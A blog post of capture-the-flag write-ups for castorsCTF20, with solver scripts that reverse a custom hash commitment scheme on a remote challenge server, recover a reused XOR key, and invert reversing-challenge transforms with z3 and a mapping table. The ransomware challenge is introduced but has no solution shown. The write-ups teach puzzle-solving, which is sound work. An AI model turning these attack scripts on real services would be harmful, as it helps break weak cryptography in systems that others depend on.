Nils's website

castorsCTF20 write-ups

This weekend, with my team Pwnzorz, we played castorsCTF20, we ended up in first place and here are my writeups for the challenges I solved. If there’s anything that’s unclear, please send me an email or ask me on discord (or any platform you can find me on).

Final scoreboard

Crypto

Stalk Market (495 pts 18 solves)

Description:
Author: hasu

nc chals20.cybercastors.com 14423

A file server.py is attached:

import socketserver
from os import urandom
from random import seed, randint
from secret import FLAG

BANNER = b"""
 ______  ______ ______  __      __  __       __    __  ______  ______  __  __  ______ ______  
/\  ___\/\__  _/\  __ \/\ \    /\ \/ /      /\ "-./  \/\  __ \/\  == \/\ \/ / /\  ___/\__  _\ 
\ \___  \/_/\ \\\ \  __ \ \ \___\ \  _"-.    \ \ \-./\ \ \  __ \ \  __<\ \  _"-\ \  __\/_/\ \/ 
 \/\_____\ \ \_\\\ \_\ \_\ \_____\ \_\ \_\    \ \_\ \ \_\ \_\ \_\ \_\ \_\ \_\ \_\ \_____\\\ \_\ 
  \/_____/  \/_/ \/_/\/_/\/_____/\/_/\/_/     \/_/  \/_/\/_/\/_/\/_/ /_/\/_/\/_/\/_____/ \/_/ 
                                                                                              """
MESSAGE = b"""
Breaking news!
The algorithm that generates turnip prices has been data mined.
All prices for the week are generated on Monday at midnight.
Understand how the algorithm works and predict prizes for
the next 20 weeks to become the Ultimate Turnip Prophet!\n
"""

sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]
p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]
round = 8

def pad(s):
    if len(s) % 16 == 0:
        return s
    else:
        pad_b = 16 - len(s) % 16
        return s + bytes([pad_b]) * pad_b

def repeated_xor(p, k):
    return bytearray([p[i] ^ k[i] for i in range(len(p))])

def group(s):
    return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]

def hash(data):
    state = bytearray([165, 68, 114, 228, 151, 146, 106, 238, 198, 241, 198, 122, 46, 148, 3, 38])
    data = group(pad(data))
    for roundkey in data:
        for _ in range(round):
            state = repeated_xor(state, roundkey)
            for i in range(len(state)):
                state[i] = sbox[state[i]]
            temp = bytearray(16)
            for i in range(len(state)):
                temp[p[i]] = state[i]
            state = temp
    return state.hex()

def gen_price():
    r = randint(1, 100)
    if   r >= 99: price = randint(500, 600)
    elif r >= 95: price = randint(450, 500)
    elif r >= 90: price = randint(400, 450)
    elif r >= 85: price = randint(350, 400)
    elif r >= 80: price = randint(300, 350)
    elif r >= 75: price = randint(250, 300)
    elif r >=  0: price = randint( 20, 250)
    return price

def gen_hashes_and_prices():
    d = {"mon": {"am": 0, "pm": 0},"tue": {"am": 0, "pm": 0},"wed": {"am": 0, "pm": 0},"thu": {"am": 0, "pm": 0},"fri": {"am": 0, "pm": 0},"sat": {"am": 0, "pm": 0}}
    secret = bytearray(urandom(16))
    seed(int.from_bytes(secret, 'big'))
    hashes = []
    highest = ('day-time', 0)
    for day in d.keys():
        for time in d[day].keys():
            price = d[day][time] = gen_price()
            hashes.append(hash(secret + "-".join([day, time, str(price)]).encode()))
            if price > highest[1]:
                highest = ("-".join([day, time]), price)
    return secret.hex(), " ".join(hashes), d, highest

def disp_prices(req, d, s):
    req.sendall(f"\nThe secret was {s}.\n".encode())
    for day in d.keys():
        for time in d[day].keys():
            req.sendall(f"{day.capitalize()} {time.upper()}: {d[day][time]}\n".encode())

def challenge(req):
    for n in range(20):
        secret, hashes, prices, highest = gen_hashes_and_prices()
        req.sendall(f"Price commitments for the week: {hashes}\n\n".encode())
        req.sendall(f"Monday AM Price: {prices['mon']['am']}\n".encode())
        req.sendall(f"(Week {n+1}) Enter day-time of highest price for the week: ".encode())
        inp = req.recv(256).strip().decode().lower()
        if inp != highest[0]:
            disp_prices(req, prices, secret)
            req.sendall(b"Try again next week.\n")
            exit(0)
        req.sendall(b'You got it!\n')
    else:
        req.sendall(f"Even Tom Nook is impressed. Here's your flag: {FLAG.decode()}".encode())
        exit(0)

class TaskHandler(socketserver.BaseRequestHandler):
    def handle(self):
        self.request.sendall(BANNER)
        self.request.sendall(MESSAGE)
        challenge(self.request)

if __name__ == '__main__':
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    server = socketserver.ThreadingTCPServer(('0.0.0.0', 8080), TaskHandler)
    server.serve_forever()
Solution

I started reading it and noticed a few things which scarred me sbox and hash. sbox from what I remembered had something to do with cryptography and searching online confirmed it.

I then started reading from where code was executed (skip the function definitions).

class TaskHandler(socketserver.BaseRequestHandler):
    def handle(self):
        self.request.sendall(BANNER)
        self.request.sendall(MESSAGE)
        challenge(self.request)

if __name__ == '__main__':
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    server = socketserver.ThreadingTCPServer(('0.0.0.0', 8080), TaskHandler)
    server.serve_forever()

Is used to serve the challenge and seems unrelated to the problem. The handle function sends the banner and a message and then calls the challenge function which is where the core of the challenge seems to be located.

    for n in range(20):
        secret, hashes, prices, highest = gen_hashes_and_prices()
        req.sendall(f"Price commitments for the week: {hashes}\n\n".encode())
        req.sendall(f"Monday AM Price: {prices['mon']['am']}\n".encode())
        req.sendall(f"(Week {n+1}) Enter day-time of highest price for the week: ".encode())
        inp = req.recv(256).strip().decode().lower()
        if inp != highest[0]:
            disp_prices(req, prices, secret)
            req.sendall(b"Try again next week.\n")
            exit(0)
        req.sendall(b'You got it!\n')
    else:
        req.sendall(f"Even Tom Nook is impressed. Here's your flag: {FLAG.decode()}".encode())
        exit(0)

The flag is sent in the else block which is reached when the for loop finishes without being exited (with a break or like in this case with exit). This means we must have inp == highest[0] 20 times consecutively. Each time represents a “week”.

We are given all hashes, the price on Monday at time “am” and are asked to enter the time of the highest price in the week. All of these values are retrieved from the function gen_hashes_and_prices.

def gen_hashes_and_prices():
    d = {"mon": {"am": 0, "pm": 0},"tue": {"am": 0, "pm": 0},"wed": {"am": 0, "pm": 0},"thu": {"am": 0, "pm": 0},"fri": {"am": 0, "pm": 0},"sat": {"am": 0, "pm": 0}}
    secret = bytearray(urandom(16))
    seed(int.from_bytes(secret, 'big'))
    hashes = []
    highest = ('day-time', 0)
    for day in d.keys():
        for time in d[day].keys():
            price = d[day][time] = gen_price()
            hashes.append(hash(secret + "-".join([day, time, str(price)]).encode()))
            if price > highest[1]:
                highest = ("-".join([day, time]), price)
    return secret.hex(), " ".join(hashes), d, highest

The function gen_hashes_and_prices generates a secret using the function urandom() from the module os. I assumed this function to generate cryptographically random numbers (we can’t guess the numbers it will generate from previous numbers it generated) as I know /dev/urandom to be secure, and in fact the documentation for it confirms this is the case. It then sets the seed used by the python random module, which means that if we know the value of secret we can possibly get all the numbers generated, additionally the random module isn’t cryptographically secure which means that with enough numbers generated by it, we can guess the next numbers.

The function then iterates over the days in the week from Monday to Saturday (excluding Sunday), and for each iterates over the times “am” and “pm”. For each times (combination of day and time), it generates a price using the gen_price function and then appends to the list hashes, the value returned by the function hash, with as input a string made-up of the secret and the day of the week, time and price. If the price generated is the highest seen so far, highest is updated.

The gen_price function generates a price based on 2 calls to randint. This means that knowing the price of Monday at time “am”, means that we have one of the number generated and an estimation of another one. Because the seed used by the random function is updated each “week”, it means that each “week” is independent and we can’t use data from previous weeks to solve the following weeks.

I searched online to find how to predict numbers from the random module. I found a post the discusses it. However, the answers says that even with 40 generated numbers it is not possible to reverse the state of the number generator. Considering that for each week, only 24 numbers (2 per generated price, for 2 times for 6 days per week) are generated, it means that exploiting the random module seems out of reach.

Next I looked at the hash function. It starts with an initial state and then for each group of 16 bytes in the data, changes the state based on it.

At this point I was lost and didn’t know what to do. A teammate, Uzay, who was also looking at the challenge said that he managed to run it locally, and that it allowed to print some stuff. I followed his suggestion and added a print statement that prints the state in the hash function for each block of 16 bytes:

    data = group(pad(data))
    for roundkey in data:
        print(state)
        for _ in range(round):

A file named secret.py with the following line also had to be added so that the program could run:

FLAG="testing_flag"

Once running this is what was printed on the server.py output when a client connected:

$ python server.py
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')
bytearray(b'\xa5Dr\xe4\x97\x92j\xee\xc6\xf1\xc6z.\x94\x03&')
bytearray(b'\xcb\xc5\xd7\x04?\x96)\xe9#r\xd1\x92\xd7*\x18u')

For each time in the day, the state was the same. This is because the data is processed in blocks of 16 bytes, and the first 16 bytes are the secret which is the same for each day of the week. (Also note that in the output, every other line is just the inital state). This means that if we were able to determine the state after the first block was processed, we could brute force the different possible prices and find the one that matched the hash we get from the server, by manually performing the processing of the second block. My initial thought was that maybe we could use some kind of “simultaneously” equation to determine that state and decided to look at the hash function, to see whether that was possible.

def pad(s):
    if len(s) % 16 == 0:
        return s
    else:
        pad_b = 16 - len(s) % 16
        return s + bytes([pad_b]) * pad_b

def repeated_xor(p, k):
    return bytearray([p[i] ^ k[i] for i in range(len(p))])

def group(s):
    return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]

def hash(data):
    state = bytearray([165, 68, 114, 228, 151, 146, 106, 238, 198, 241, 198, 122, 46, 148, 3, 38])
    data = group(pad(data))
    for roundkey in data:
        for _ in range(round):
            state = repeated_xor(state, roundkey)
            for i in range(len(state)):
                state[i] = sbox[state[i]]
            temp = bytearray(16)
            for i in range(len(state)):
                temp[p[i]] = state[i]
            state = temp
    return state.hex()

Looking at the hash function in reverse, I noticed that the last 2 operations of each round were reversible, they just 1. changed the order of the bytes 2. changed the bytes using the Sbox which is also reversible. The only part that isn’t reversible is the repeated_xor operation which just XORs together its 2 parameters, the roundkey (i.e. a 16 bytes block of input data), and the current state. This meant that in order to reverse it, we needed the input data which was already what we were trying to get. This is when I realised we were given the price on Monday at the “am” time, which meant that we could actually reverse the hash function until we reached the common state shared by all the hashes (i.e. the state when the hash function has only processed the secret).

So I started to write a script to do this.

#!/usr/bin/env python3

from pwn import *

sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]
p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]

def repeated_xor(p, k):
    return bytearray([p[i] ^ k[i] for i in range(len(p))])

def pad(s):
    if len(s) % 16 == 0:
        return s
    else:
        pad_b = 16 - len(s) % 16
        return s + bytes([pad_b]) * pad_b

round = 8
def unrounds(state_hash, roundkey):
    for _ in range(round):
        temp = bytearray(16)
        assert len(state_hash) == 16
        for i in range(len(state_hash)):
            temp[i] = state_hash[p[i]]
        state_hash = temp
        for i in range(len(state_hash)):
            state_hash[i] = sbox.index(state_hash[i])
        state_hash = repeated_xor(state_hash, roundkey)
    return state_hash

def hash(state, roundkey):
    roundkey = pad(roundkey)
    for _ in range(round):
        state = repeated_xor(state, roundkey)
        for i in range(len(state)):
            state[i] = sbox[state[i]]
        temp = bytearray(16)
        for i in range(len(state)):
            temp[p[i]] = state[i]
        state = temp
    return state.hex()

def find_highest(hashes, state):
    d = {"mon": {"am": 0, "pm": 0},"tue": {"am": 0, "pm": 0},"wed": {"am": 0, "pm": 0},"thu": {"am": 0, "pm": 0},"fri": {"am": 0, "pm": 0},"sat": {"am": 0, "pm": 0}}
    highest = ('day-time', 0)
    i = 0
    for day in d.keys():
        for time in d[day].keys():
            for price in range(highest[1], 601):
                hash_temp = hash(state, "-".join([day, time, str(price)]).encode())
                if hashes[i] == hash_temp:
                    highest = ("-".join([day, time]), price)
            i += 1
    return highest[0]

if __name__ == "__main__":
    r = remote('chals20.cybercastors.com', 14423)
    #r = remote('127.0.0.1', 8080)

    r.recvuntil("Ultimate Turnip Prophet!\n\n")

    for x in range(20):
        lines = r.recvuntil('price for the week: ').split(b'\n')
        hashes = list(map(lambda x: x.decode(), lines[0].split()[5:]))
        mon_am_price = lines[2].split()[3].decode()
        roundkey = pad("-".join(["mon", "am", mon_am_price]).encode())
        state = unrounds(bytearray.fromhex(hashes[0]), roundkey)
        correct = find_highest(hashes, state)
        print(correct)
        r.sendline(correct)
        r.recvuntil("!\n")
    r.interactive()

The unrounds function does the same thing as is done for each block in the hash function of server.py, except it does it in reverse. This allows us to retrieve the state that is common to all hashes. Then in the find_highest function, I go through each time in each day (combination of day of week and “am” or “pm”), and find by brute forcing which price is correct and get the highest correct value. Once this is done, find_highest returns with the time at which the price is highest and sends it to the server.

$ ./client.py
[+] Opening connection to chals20.cybercastors.com on port 14423: Done
sat-am
thu-am
fri-am
wed-pm
sat-am
thu-am
mon-am
mon-am
sat-am
sat-pm
fri-pm
sat-am
tue-am
tue-pm
tue-pm
sat-pm
thu-am
sat-pm
wed-am
wed-am
[*] Switching to interactive mode
Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}[*] Got EOF while reading in interactive
$
$
[*] Closed connection to chals20.cybercastors.com port 14423
[*] Got EOF while sending in interactive
Flag
castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}

One Trick Pony (236 pts 116 solves)

Description
Author: hasu
nc chals20.cybercastors.com 14422
Solution

When you connect to the endpoint given, you get a prompt and when you type something, you get what looks like a C-string literal (It’s actually just a python byte string but I didn’t notice that when I first solved the challenge) of the same length as your input.

$ nc chals20.cybercastors.com 14422
> please give me feedback
b'\x13\r\x16\x15\x1c\x17S$=0\x1eK^VP9\x1cU\x11\x10>\x08X'
> aaaa
b'\x02\x12\x15'
> ^C

The name of the challenge “One Trick Pony”, made me think of one-time pads, so I thought of XOR-ing my input with the output we’re given:

$ nc chals20.cybercastors.com 14422
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13RV>U\x0f\x05>\x05Q\x0fV>\x13R\x14TR>V\tR\x0c@\x1c\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13RV>U\x0f\x05>\x05Q\x0fV>\x13R\x14TR>V\tR\x0c@\x1c\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13RV>U\x0f\x05>\x05Q\x0fV>\x13R\x14TR>V\tR\x0c@\x1c\x02'
> ^C

As I hadn’t noticed it was a byte string and I’m generally prefer to use C for byte manipulation I wrote a “script in C”:

#include <stdio.h>

int main() {

	char a[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
	char b[] = "\x02\x12\x15\x0e\x13\x12\"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13RV>U\x0f\x05>\x05Q\x0fV>\x13R\x14TR>V\tR\x0c@\x1c\x02\x12\x15\x0e\x13\x12\"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13RV>U\x0f\x05>\x05Q\x0fV>\x13R\x14TR>V\tR\x0c@\x1c\x02\x12\x15\x0e\x13\x12\"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13RV>U\x0f\x05>\x05Q\x0fV>\x13R\x14TR>V\tR\x0c@\x1c\x02";
	for (int i = 0; i < 168; ++i) {
		putchar(a[i] ^ b[i]);
	}
}
$ gcc one.c
$ ./a.out
cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}caaaa
Flag
cstorsCTF{k33p_y0ur_k3y5_53cr37_4nd_d0n7_r3u53_7h3m!}

Reversing

I really appreciated the reversing challenges especially the GO(lang) ones as I had never done go reverse engineering and I learned a lot.

Stacking (50 pts 208 solves)

Description

stacking

Solution
Flag
castorsCTF{w3lc0m3_70_r3v3r53_3n61n33r1n6}

XoR (74 points 147 solves)

Description

xorry

Solution
Flag
castorsCTF{x0rr1n6_w17h_4_7w157}

Reverse-me (288 points 104 solves)

Description
Author: Krekel

nc chals20.cybercastors.com 14427

reverse_me

Solution

Looking at the main function inside of ghidra gives the following:

main

As you can see, it reads the flag from flag.txt calls some functions on the read flag, then prints the flag after those functions have been called.

If you connect to the given endpoint you can get those bytes:

$ nc chals20.cybercastors.com 14427
System Error...
Dumping memory...
64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a
Enter password: password
Wrong!

FUN_0010096a add_2 FUN_001009c7

The function FUN_0010096a replaces the last newline (\n), with a null terminator (\0). The function add_2 (renamed by myself in ghidra), adds 2 to each byte of the flag and the function FUN_001009c7, does some calculations on the bytes based on the value of the byte.

We can then reverse those functions using z3 to get the flag:

#!/usr/bin/env python3

from z3 import *

a = [0x64,0x35,0x68,0x35,0x64,0x37,0x33,0x7a,0x38,0x6b,0x33,0x37,0x6b,0x72,0x67,0x7a]
c = b = []

for x in range(16):
    b.append(Int(x))

s = Solver()
for (x, y) in zip(b, a):
    s.add(If(
        And(x > ord('`'), x < ord('{')),
        (x - 0x57) + ((x - 0x57) / 0x1a) * -0x1a + 0x61,
        x) + 2 == y)

s.check()
m = s.model()
sol = ""
for x in range(16):
    sol += chr(m[b[x]].as_long())
print(sol)
$ chmod +x solution.py
$ ./solution.py
r3v3r51n6y15yfun

I tried to submit the flag castorsCTF{r3v3r51n6y15yfun} but it didn’t work. So I tried reproducing the code in the reverse_me binary and realised that it didn’t work for the value 0x6b (after processing), y in what I thought was the flag:

#include <stdio.h>

int main() {
	char a[] = {
		114,
		51,
		118,
		51,
		114,
		53,
		49,
		110,
		54,
		121,
		49,
		53,
		121,
		102,
		117,
		110,
		0};

	for (int i = 0; i < 16; ++i) {
		a[i] = a[i] + '\x02';
		if (('`' < a[i]) && (a[i] < '{')) {
			a[i] = (a[i] - 0x57) + ((a[i] - 0x57) / 0x1a) * -0x1a + 'a';
		}
		printf("%x ", a[i]);
	}
}
$ gcc process.c
$ ./a.out
64 35 68 35 64 37 33 7a 38 7b 33 37 7b 72 67 7a 

As you can see from the output, the 7b should be 6b. I realised that this is where underscores would normally be placed and changed the ys to _s.

Flag
castorsCTF{r3v3r51n6_15_fun}

Mapping (484 points 30 solves)

Description
Author: Krekel

After wondering around lost in the dark, we finally found the map!

mapping

Solution

The binary provided a go one, because if you look at the end of the file using text editor you can see Go function signatures:

$ xxd mapping | tail
00204a20: 6974 0074 7970 652e 2e65 712e 666d 742e  it.type..eq.fmt.
00204a30: 666d 7400 7374 7269 6e67 732e 6861 7368  fmt.strings.hash
00204a40: 5374 7200 7374 7269 6e67 732e 436f 756e  Str.strings.Coun
00204a50: 7400 7374 7269 6e67 732e 5265 706c 6163  t.strings.Replac
00204a60: 6500 7374 7269 6e67 732e 496e 6465 7800  e.strings.Index.
00204a70: 7374 7269 6e67 732e 696e 6465 7852 6162  strings.indexRab
00204a80: 696e 4b61 7270 006d 6169 6e2e 6170 706c  inKarp.main.appl
00204a90: 7900 6d61 696e 2e63 7265 6174 654d 6170  y.main.createMap
00204aa0: 7069 6e67 5461 626c 6500 6d61 696e 2e6d  pingTable.main.m
00204ab0: 6169 6e00                                ain.

When executing it, it asks for a password and then says “Wrong!” when you enter the wrong password:

$ ./mapping
Enter Password
hunter2
Wrong!

When I opened the binary inside of ghidra I couldn’t really make sense of what was going because go uses different calling conventions then those used by C and C++. I searched online for go calling conventions and found an article that explained them. Because of this I ditched ghidra for r2. Because arguments are passed on the stack in go, you have the disable variable analysis in radare2: e anal.vars = false. By reverse engineering I was able to understand that a mapping between characters was created (with a hashmap), in the main.createMappingTable function and that in the main.apply function, the mapping was applied to the password given and it was then base64 encoded. Once those modifications had been done the password was compared to the string eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0= which after base64 decoding gave xzstorsXWA{ib_4r1n2h1465n_41yh0_62_y0440r_4d1n_b5ur2}. I now had to reverse engineer the mapping to understand how it worked and recover the flag. The way I did it, is by sending a string containing all possible characters and then using gdb see what they were getting transformed to. Using this information I was able to make a script to decrypt the flag:

#!/usr/bin/env python3

encrypted = "xzstorsXWA{ib_4r1n2h1465n_41yh0_62_y0440r_4d1n_b5ur2}"
sol = ""

b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!_.-{"

a = [
0x5a
,0x59
,0x58
,0x46
,0x47
,0x41
,0x42
,0x48
,0x4f
,0x50
,0x43
,0x44
,0x45
,0x51
,0x52
,0x53
,0x54
,0x55
,0x56
,0x57
,0x49
,0x4a
,0x4b
,0x4e
,0x4d
,0x4c
,0x7a
,0x79
,0x78
,0x6a
,0x6b
,0x6c
,0x6d
,0x64
,0x65
,0x66
,0x67
,0x68
,0x69
,0x6e
,0x6f
,0x70
,0x71
,0x72
,0x73
,0x74
,0x75
,0x76
,0x77
,0x63
,0x62
,0x61
,0x35
,0x36
,0x37
,0x30
,0x31
,0x32
,0x33
,0x34
,0x38
,0x39
,0x0
,0x5f
,0x0
,0x0
,123
        ]


for x in encrypted:
    sol += b[a.index(ord(x))]
    print(sol)

print(sol)
$ ./solver.py
c
ca
cas
cast
casto
castor
castors
castorsC
castorsCT
castorsCTF
castorsCTF{
castorsCTF{m
castorsCTF{my
castorsCTF{my_
castorsCTF{my_7
castorsCTF{my_7r
castorsCTF{my_7r4
castorsCTF{my_7r4n
castorsCTF{my_7r4n5
castorsCTF{my_7r4n5l
castorsCTF{my_7r4n5l4
castorsCTF{my_7r4n5l47
castorsCTF{my_7r4n5l471
castorsCTF{my_7r4n5l4710
castorsCTF{my_7r4n5l4710n
castorsCTF{my_7r4n5l4710n_
castorsCTF{my_7r4n5l4710n_7
castorsCTF{my_7r4n5l4710n_74
castorsCTF{my_7r4n5l4710n_74b
castorsCTF{my_7r4n5l4710n_74bl
castorsCTF{my_7r4n5l4710n_74bl3
castorsCTF{my_7r4n5l4710n_74bl3_
castorsCTF{my_7r4n5l4710n_74bl3_1
castorsCTF{my_7r4n5l4710n_74bl3_15
castorsCTF{my_7r4n5l4710n_74bl3_15_
castorsCTF{my_7r4n5l4710n_74bl3_15_b
castorsCTF{my_7r4n5l4710n_74bl3_15_b3
castorsCTF{my_7r4n5l4710n_74bl3_15_b37
castorsCTF{my_7r4n5l4710n_74bl3_15_b377
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0u
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5
Traceback (most recent call last):
  File "./solver.py", line 80, in <module>
    sol += b[a.index(ord(x))]
ValueError: 125 is not in list
Flag
castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}

Ransom (493 points 19 solves)

Description

Author: Krekel

Agent, we raided one the hideouts of a wanted cyber criminal. During the raid, we extracted what appears to be a POC ransomware. It appears the he left a picture for us, but it is encrypted. It is your task to reverse engineering this sample and find out what secrets lie within the file. We managed to capture some network traffic generated by the malware. Use it during your investigation.

We are counting on you.

flag.png ransom traffic.pcapng

Solution

